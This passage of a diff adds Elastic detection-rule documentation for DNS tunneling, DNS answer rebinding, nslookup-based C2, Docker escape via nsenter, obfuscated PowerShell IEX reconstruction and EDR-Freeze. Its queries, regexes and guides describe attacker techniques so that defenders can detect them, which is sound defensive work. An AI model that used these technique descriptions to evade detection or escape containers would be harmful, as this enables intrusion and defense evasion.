`127.0.0.1`, `Esql.client_ip` may identify shared DNS +infrastructure instead of the originating endpoint and can merge answers from many hosts. + +DNS-over-HTTPS (DoH), DNS-over-TLS (DoT), and other encrypted DNS traffic are not visible to packet capture unless the +sensor receives decrypted DNS telemetry or equivalent resolver logs mapped to ECS. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.dns-*, logs-zeek.dns-*, packetbeat-* +| where + ( + data_stream.dataset in ("network_traffic.dns", "zeek.dns") or + event.dataset == "dns" + ) and + dns.question.name is not null and + dns.question.registered_domain is not null and + dns.resolved_ip is not null and + TO_UPPER(dns.response_code) == "NOERROR" and + TO_UPPER(dns.question.type) in ("A", "AAAA") +| eval + Esql.client_ip = COALESCE(client.ip, source.ip), + Esql.dataset = COALESCE(data_stream.dataset, event.dataset) +| where Esql.client_ip is not null +| mv_expand dns.resolved_ip +| eval Esql.is_private = CIDR_MATCH( + dns.resolved_ip, + "0.0.0.0/32", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.168.0.0/16", + "::1/128", + "fc00::/7", + "fe80::/10" + ) +| eval + Esql.private_time = CASE(Esql.is_private, @timestamp, null), + Esql.public_time = CASE(not Esql.is_private, @timestamp, null), + Esql.private_event_ttl = CASE(Esql.is_private, MV_MIN(dns.answers.ttl), null), + Esql.private_ip = CASE(Esql.is_private, dns.resolved_ip, null), + Esql.public_ip = CASE(not Esql.is_private, dns.resolved_ip, null) +| stats + Esql.resolved_ip_observation_count = COUNT(*), + Esql.resolved_ip_count = COUNT_DISTINCT(dns.resolved_ip), + Esql.first_public_answer = MIN(Esql.public_time), + Esql.first_private_answer = MIN(Esql.private_time), + Esql.min_private_event_ttl = MIN(Esql.private_event_ttl), + Esql.public_ips = MV_SLICE(VALUES(Esql.public_ip), 0, 100), + Esql.private_ips = MV_SLICE(VALUES(Esql.private_ip), 0, 100), + Esql.dataset_values = MV_SLICE(VALUES(Esql.dataset), 0, 10), + Esql.observer_name_values = MV_SLICE(VALUES(observer.name), 0, 20) + by Esql.client_ip, dns.question.name, dns.question.registered_domain +| eval + Esql.same_timestamp = Esql.first_public_answer == Esql.first_private_answer, + Esql.transition_seconds = DATE_DIFF("seconds", Esql.first_public_answer, Esql.first_private_answer) +| where + Esql.first_public_answer is not null and + Esql.first_private_answer is not null and + ( + Esql.same_timestamp or + ( + Esql.first_public_answer < Esql.first_private_answer and + Esql.min_private_event_ttl is not null and + Esql.min_private_event_ttl <= 60 and + Esql.transition_seconds <= 300 + ) + ) +| keep Esql.*, dns.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-tunneling-via-long-and-unique-subdomains.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-tunneling-via-long-and-unique-subdomains.asciidoc new file mode 100644 index 0000000000..5bbe30115f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-tunneling-via-long-and-unique-subdomains.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-potential-dns-tunneling-via-long-and-unique-subdomains]] +=== Potential DNS Tunneling via Long and Unique Subdomains + +Identifies a client generating many unique, unusually long DNS query names to the same registered domain within a five-minute window. Malware DNS tunnels and DNS command-and-control commonly encode data in lengthy subdomain portions under one apex domain. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Rule Type: ES|QL +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Network Packet Capture +* Data Source: Fortinet +* Data Source: Network Traffic +* Data Source: Zeek +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential DNS Tunneling via Long and Unique Subdomains* + + +DNS tunneling encodes data in query labels and often produces many unique, unusually long subdomains under a single apex +domain. This rule aggregates network DNS telemetry for that behavioral pattern without relying on threat intelligence +feeds or machine learning jobs. + +Compare overlapping apex domains against the machine learning **DNS Tunneling** rule when that job is enabled. + + +*Possible investigation steps* + + +- Review `Esql.dns_registered_domain`, `Esql.count_distinct_names`, `Esql.unique_name_ratio`, + `Esql.max_subdomain_length`, and sample values in `Esql.sample_names`. +- Inspect `Esql.dns_question_type_values`. TXT, NULL, CNAME, or MX bursts increase confidence; A/AAAA-only activity can + still be tunneling and should not be dismissed on type alone. +- Use `Esql.first_seen`, `Esql.last_seen`, `Esql.dataset_values`, and `Esql.observer_name_values` to establish the event + span and identify the integrations and sensors that contributed to the alert. +- Confirm whether `Esql.client_ip` is a workstation, server, recursive resolver, forwarder, NAT address, or localhost + DNS service. Resolver and localhost sources merge many clients and are a common false-positive pattern. +- Review `Esql.destination_ip_values` to identify the resolver or authoritative destination observed by the sensor. +- Pivot on the same client and apex domain in raw DNS events and look for follow-on process, file, or additional C2 + activity. + + +*False positive analysis* + + +- CDN, cloud load-balancer, certificate, and software-update services often create long hostnames. Confirm the apex + domain reputation and whether the requesting host role normally uses that provider. +- Security or network appliances performing DNS-based reachability or reputation checks can resemble tunneling. Exclude + confirmed appliance addresses after validation. +- Do not create a global resolver exception until the originating endpoint is known; a shared `Esql.client_ip` can hide + a single infected host behind legitimate bulk lookups. + + +*Response and remediation* + + +- Block the apex domain or forwarding from the affected host at recursive resolvers if malicious activity is confirmed. +- Isolate the source host and inspect for tunneling tools or malware initiating the queries. +- Add temporary blocks for the apex domain while scoping additional hosts querying the same name. + + +==== Setup + + + +*Setup* + + +This rule requires DNS transaction events from one of the following sources: + +- Elastic Network Packet Capture (`network_traffic.dns`) in `logs-network_traffic.dns-*` +- Fortinet FortiGate DNS logs (`fortinet_fortigate.log`) in `logs-fortinet_fortigate.log-*` +- Elastic Zeek (`zeek.dns`) in `logs-zeek.dns-*` +- Legacy Packetbeat DNS events in `packetbeat-*` with `event.dataset` set to `dns` + +Place the sensor where it observes endpoint-to-resolver DNS traffic. If the sensor is upstream of a recursive resolver, +or if the captured client is a localhost listener such as `127.0.0.1`, `Esql.client_ip` may identify shared DNS +infrastructure instead of the originating endpoint. + +DNS-over-HTTPS (DoH), DNS-over-TLS (DoT), and other encrypted DNS traffic are not visible to packet capture unless the +sensor receives decrypted DNS telemetry or equivalent resolver logs mapped to ECS. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.dns-*, logs-fortinet_fortigate.log-*, logs-zeek.dns-*, packetbeat-* +| where + ( + data_stream.dataset in ("network_traffic.dns", "fortinet_fortigate.log", "zeek.dns") + or event.dataset == "dns" + ) + and dns.question.name is not null + and dns.question.registered_domain is not null +| eval + Esql.client_ip = COALESCE(client.ip, source.ip), + Esql.dataset = COALESCE(data_stream.dataset, event.dataset), + Esql.dns_question_name = TO_LOWER(dns.question.name), + Esql.dns_registered_domain = TO_LOWER(dns.question.registered_domain), + Esql.dns_question_type = TO_LOWER(dns.question.type), + Esql.subdomain_length = LENGTH(Esql.dns_question_name) - LENGTH(Esql.dns_registered_domain) - 1 +| where + Esql.client_ip is not null + and Esql.subdomain_length >= 50 + and (Esql.dns_question_type is null or Esql.dns_question_type != "ptr") + and not ENDS_WITH(Esql.dns_question_name, ".arpa") +| eval Esql.time_window = DATE_TRUNC(5 minutes, @timestamp) +| stats + Esql.count_queries = COUNT(*), + Esql.count_distinct_names = COUNT_DISTINCT(Esql.dns_question_name), + Esql.max_subdomain_length = MAX(Esql.subdomain_length), + Esql.avg_subdomain_length = AVG(Esql.subdomain_length), + Esql.dns_question_type_values = MV_SLICE(VALUES(Esql.dns_question_type), 0, 9), + Esql.destination_ip_values = MV_SLICE(VALUES(destination.ip), 0, 4), + Esql.sample_names = MV_SLICE(VALUES(Esql.dns_question_name), 0, 4), + Esql.dataset_values = MV_SLICE(VALUES(Esql.dataset), 0, 9), + Esql.observer_name_values = MV_SLICE(VALUES(observer.name), 0, 19), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp) + by Esql.time_window, Esql.client_ip, Esql.dns_registered_domain +| where Esql.count_queries >= 25 and Esql.count_distinct_names >= 15 +| eval Esql.unique_name_ratio = TO_DOUBLE(Esql.count_distinct_names) / Esql.count_queries +| keep Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-tunneling-via-nslookup.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-tunneling-via-nslookup.asciidoc new file mode 100644 index 0000000000..30eae3cddf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-tunneling-via-nslookup.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-potential-dns-tunneling-via-nslookup]] +=== Potential DNS Tunneling via NsLookup + +This rule identifies a large number (15) of nslookup.exe executions with an explicit query type from the same host. This may indicate command and control activity utilizing the DNS protocol. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential DNS Tunneling via NsLookup* + + +Attackers can abuse existing network rules that allow DNS communication with external resources to use the protocol as their command and control and/or exfiltration channel. + +DNS queries can be used to infiltrate data such as commands to be run, malicious files, etc., and also for exfiltration, since queries can be used to send data to the attacker-controlled DNS server. This process is commonly known as DNS tunneling. + +More information on how tunneling works and how it can be abused can be found on https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors[Palo Alto Unit42 Research]. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the DNS query and identify the information sent. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. If the parent process is trusted and the data sent is not sensitive nor command and control related, this alert can be closed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] +- https://ela.st/crowdstrike-integration[CrowdStrike] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5m +[process where host.os.type == "windows" and event.type == "start" and + process.name : "nslookup.exe" and process.args:("-querytype=*", "-qt=*", "-q=*", "-type=*")] with runs = 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-docker-escape-via-nsenter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-docker-escape-via-nsenter.asciidoc new file mode 100644 index 0000000000..5b41847efa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-docker-escape-via-nsenter.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-potential-docker-escape-via-nsenter]] +=== Potential Docker Escape via Nsenter + +This rule identifies a UID change event via "nsenter". The "nsenter" command is used to enter a namespace, which is a way to isolate processes and resources. Attackers can use "nsenter" to escape from a container to the host, which can lead to privilege escalation and lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Docker Escape via Nsenter* + + +Docker containers use namespaces to isolate processes, ensuring they operate independently from the host system. The `nsenter` command allows users to access these namespaces, which is essential for managing containerized environments. However, adversaries can exploit `nsenter` to break out of a container, gaining unauthorized access to the host system. The detection rule identifies suspicious UID changes involving `nsenter`, signaling potential container escapes and privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of a UID change event involving the nsenter command, as indicated by the query fields. +- Identify the container from which the nsenter command was executed by examining the process.entry_leader.entry_meta.type field. +- Investigate the process arguments to verify the use of nsenter with the -t or --target options, ensuring the process.args_count is 4 or more, which may indicate an attempt to target a specific namespace. +- Check the user and process context before and after the UID change to understand the potential impact and scope of the privilege escalation. +- Analyze the container's logs and any associated host logs around the time of the event to gather additional context and identify any suspicious activities or patterns. +- Assess the container's configuration and security settings to determine if there are any vulnerabilities or misconfigurations that could have been exploited. +- If unauthorized access is confirmed, initiate incident response procedures to contain and remediate the threat, including reviewing other containers and systems for similar activities. + + +*False positive analysis* + + +- Routine administrative tasks using nsenter can trigger false positives, especially when system administrators use it for legitimate container management. To mitigate this, create exceptions for known administrative scripts or processes that frequently use nsenter. +- Automated monitoring tools or scripts that perform health checks or maintenance on containers might use nsenter, leading to false alerts. Identify these tools and whitelist their specific processes or user accounts to reduce noise. +- Development environments where developers frequently enter containers for debugging purposes can cause false positives. Consider excluding specific development user accounts or container IDs from the rule to prevent unnecessary alerts. +- Continuous integration and deployment pipelines that interact with containers might use nsenter as part of their operations. Review these pipelines and exclude their associated processes or user accounts to avoid false detections. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access to the host system. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the container's logs and processes to identify any unauthorized changes or suspicious activities that occurred before and after the UID change event. +- Revoke any unauthorized access or credentials that may have been compromised during the container escape attempt. Ensure that all access keys and passwords are rotated. +- Patch and update the container image and host system to address any vulnerabilities that may have been exploited. Ensure that the latest security updates are applied. +- Implement stricter namespace and capability restrictions for containers to minimize the risk of privilege escalation. Consider using security tools like AppArmor or SELinux to enforce these restrictions. +- Monitor for any further suspicious activity on the host system and other containers, focusing on similar UID change events or unauthorized use of `nsenter`. +- Escalate the incident to the security operations team for a comprehensive investigation and to assess the potential impact on the broader network and systems. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "change" and event.action == "uid_change" and +process.entry_leader.entry_meta.type == "container" and process.args == "nsenter" and +process.args in ("-t", "--target") and process.args_count >= 4 and +not process.parent.args == "/opt/teleport/system/bin/teleport" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc new file mode 100644 index 0000000000..c88f05a2ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-34-potential-dynamic-iex-reconstruction-via-environment-variables]] +=== Potential Dynamic IEX Reconstruction via Environment Variables + +Detects PowerShell scripts that reconstructs IEX (Invoke-Expression) by indexing environment variable strings (for example, $env:VAR[1,2,3]) or related `.name[...]` slices and joining characters at runtime. Attackers use environment-variable slicing to hide dynamic execution and evade keyword-based detections and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential Dynamic IEX Reconstruction via Environment Variables* + + +This alert indicates PowerShell Script Block Logging captured a script that builds "IEX" (Invoke-Expression) at runtime by indexing characters from environment variable strings or related name properties and combining them. This technique is commonly used to obscure dynamic execution and can indicate an attempt to execute attacker-controlled content. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm scope and execution context: + - Review `host.name` and `host.id` to identify the impacted endpoint and determine whether it is a typical user workstation, server, or a special-purpose system in your environment. + - Review `user.name`, `user.domain`, and `user.id` to understand who executed the script and whether the account is expected to run PowerShell on this host (interactive user, service account, or administrative context). + - Use `agent.id` (if available) to identify the reporting agent and to support correlation with other telemetry collected from the same endpoint. + - Use the alert timestamp as the anchor to correlate activity immediately before and after the script block ran. + +- Analyze the obfuscation and intended execution: + - Examine `powershell.file.script_block_text` to locate environment-variable slicing patterns (for example, `$env:[]`, `$env:[,,]`, or `.name[,,]`) and identify the variable names and indices being used. + - Use `Esql.script_block_tmp` to quickly find the match locations, then review the surrounding context in `powershell.file.script_block_text` to determine how the reconstructed string is used (assignment, concatenation/join, or immediate invocation). + - Determine whether the reconstructed output is used as a dynamic execution primitive (for example, passed to `Invoke-Expression` / `IEX`, used with the call operator, or invoked via a method). Focus on what content is ultimately evaluated or executed. + +- Reconstruct full script content: + - If the script appears incomplete or staged across multiple events, use `powershell.file.script_block_id` with `powershell.sequence` and `powershell.total` to collect all fragments and rebuild the full script in order. + - After reconstruction, identify where string construction occurs versus where execution occurs to understand the end-to-end flow. + +- Assess obfuscation level and intent using available enrichments: + - Review `Esql.script_block_pattern_count` to understand how frequently the reconstruction pattern appears within the script block; repeated occurrences can indicate systematic obfuscation rather than an isolated string operation. + - Review `powershell.file.script_block_length` for size context and compare it with typical script sizes seen for the same host or user. + - Review `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_unique_symbols` to gauge whether the script contains encoded or highly obfuscated content (for example, large high-entropy blocks that may indicate packed or encoded data). + +- Identify script origin and potential spread: + - If `file.path` is populated, review `file.name` and `file.directory` to determine where the script was sourced from and whether the location aligns with approved administrative tooling or software distribution paths. + - If `file.path` is not populated, treat the activity as potentially inline or dynamically generated and prioritize identifying the initiating process or source using adjacent telemetry. + - Scope for other alerts or script blocks on the same `host.id` or associated with the same `user.id` that show similar reconstruction patterns, especially within the same time window. + +- Correlate with adjacent telemetry (as available in your environment): + - Using `host.id` / `host.name`, `user.id`, and the alert time, correlate with process execution data to identify the PowerShell host process and the initiating parent process or source (for example, interactive session, script runner, scheduled task, service, or another application). + - Correlate with network, file, registry, and authentication telemetry on the same host around the alert time to identify follow-on activity that supports malicious intent (download or retrieval of content, creation or modification of files, persistence-related changes, or suspicious logons). + + +*False positive analysis* + + +- Legitimate automation or administration scripts may construct command strings dynamically, including deriving short tokens from environment variables for compatibility or to reduce hard-coded strings. +- Security testing and purple-team or red-team activity may intentionally use environment-variable slicing to emulate evasive tradecraft. +- Developer tooling, obfuscation research, or PowerShell training content may include this technique. Benign usage is typically tied to known owners, consistent hosts, predictable execution windows, and the absence of suspicious downstream activity. + + +*Response and remediation* + + +- If the activity is suspected or confirmed malicious: + - Contain the affected host to prevent additional execution and reduce lateral movement risk. + - Preserve evidence by collecting the complete script content using `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`, and retain the original `powershell.file.script_block_text` for analysis. + - Extract and track indicators from the script content (for example, URLs, domains, IP addresses, file names, or unique strings) and scope for additional occurrences across the environment using `host.id`, `host.name`, `user.id`, and `file.path` when present. + - Identify and remediate the initial execution source (parent process or launching mechanism) and remove or quarantine any associated script files referenced by `file.path`. + - If account compromise is suspected, reset affected credentials and review for additional suspicious PowerShell activity associated with the same `user.id`. + +- If the activity is determined to be benign: + - Document the business justification, owning team, expected hosts, and expected script location (`file.path` when present). + - Monitor for deviations in execution context (new hosts, new users, or materially different script content) and consider targeted tuning based on stable attributes such as `file.path` and known `user.id` values. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(?i)(\$(?:\w+|\w+\:\w+)\[\d++\]\+\$(?:\w+|\w+\:\w+)\[\d++\]\+['"]x['"]|\$(?:\w+\:\w+)\[\d++,\d++,\d++\]|\.name\[\d++,\d++,\d++\])""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-edr-freeze-via-werfaultsecure-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-edr-freeze-via-werfaultsecure-abuse.asciidoc new file mode 100644 index 0000000000..358c558cb4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-edr-freeze-via-werfaultsecure-abuse.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-potential-edr-freeze-via-werfaultsecure-abuse]] +=== Potential EDR-Freeze via WerFaultSecure Abuse + +Identifies the Windows Error Reporting Protected Process Light (PPL) binary WerFaultSecure.exe being started by a process other than the Windows Error Reporting service, with command-line arguments used to take a secure memory dump of a target process. Because MiniDumpWriteDump suspends all threads of the target while the dump is produced, an attacker can suspend WerFaultSecure.exe mid-dump to leave the targeted EDR or antivirus suspended ("frozen") without ever terminating it, a defense-evasion technique publicly known as EDR-Freeze. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + 